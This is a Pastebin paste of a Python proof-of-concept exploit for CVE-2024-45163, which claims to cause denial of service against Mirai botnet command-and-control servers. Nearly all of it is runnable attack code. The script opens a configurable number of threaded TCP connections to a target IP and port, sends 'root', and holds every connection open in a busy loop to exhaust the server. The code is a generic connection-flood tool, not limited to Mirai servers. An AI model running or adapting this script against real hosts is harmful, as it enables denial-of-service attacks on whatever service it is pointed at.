Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: CVE-2024-45163: Remote DoS Exploit in Mirai Botnet
- # Date: August 19, 2024
- # Exploit Author: Jacob Masse
- # Software Link: https://github.com/jgamblin/Mirai-Source-Code
- # Version: All versions
- # Tested on: Ubuntu, Debian
- # CVE: CVE-2024-45163
- import socket
- import threading
- import sys
- from colorama import Fore, Style
- from time import sleep
- art = """ __ ____ _ ___ ____
- / |/ (_)______ _(_) / _ \___ / __/
- / /|_/ / / __/ _ `/ / / // / _ \_\ \
- /_/ /_/_/_/ \_,_/_/ /____/\___/___/
- """
- print(Fore.GREEN + art)
- print("A POC that causes a DoS attack against a Mirai botnet CNC server.")
- print(Fore.BLUE + "Developed by Jacob Masse\n\n")
- if len(sys.argv) < 3:
- print(f"Usage: python3 {sys.argv[0]} <IP Address of CNC> <Port of CNC> <# of connections. Default is 1024>")
- print("Example: python3 mirai_dos.py 1.1.1.1 1337")
- print(Fore.RESET)
- sys.exit(1)
- target = str(sys.argv[1])
- port = int(sys.argv[2])
- try:
- num_connections = int(sys.argv[3])
- except IndexError:
- num_connections = 1024
- print(f"Target: {target}")
- print(f"Port: {port}")
- print(f"Number of connections: {num_connections}")
- print(Fore.RESET)
- print("Starting exploit...")
- sleep(2)
- # Function to create and hold a connection to the specified target and port
- def create_connection(target, port):
- try:
- # Create a socket object
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- # Connect to the target IP and port
- s.connect((target, port))
- print(f"Sending 1 connection probe to {target}:{port}")
- s.sendall(b'root\n')
- # Hold the connection indefinitely
- while True:
- pass
- except Exception as e:
- print(f"Connection failed: {e}")
- # Create threads for each connection
- threads = []
- for _ in range(num_connections):
- t = threading.Thread(target=create_connection, args=(target, port))
- threads.append(t)
- t.start()
- # Join all threads to wait for them to finish (they won't since connections are held)
- for t in threads:
- t.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement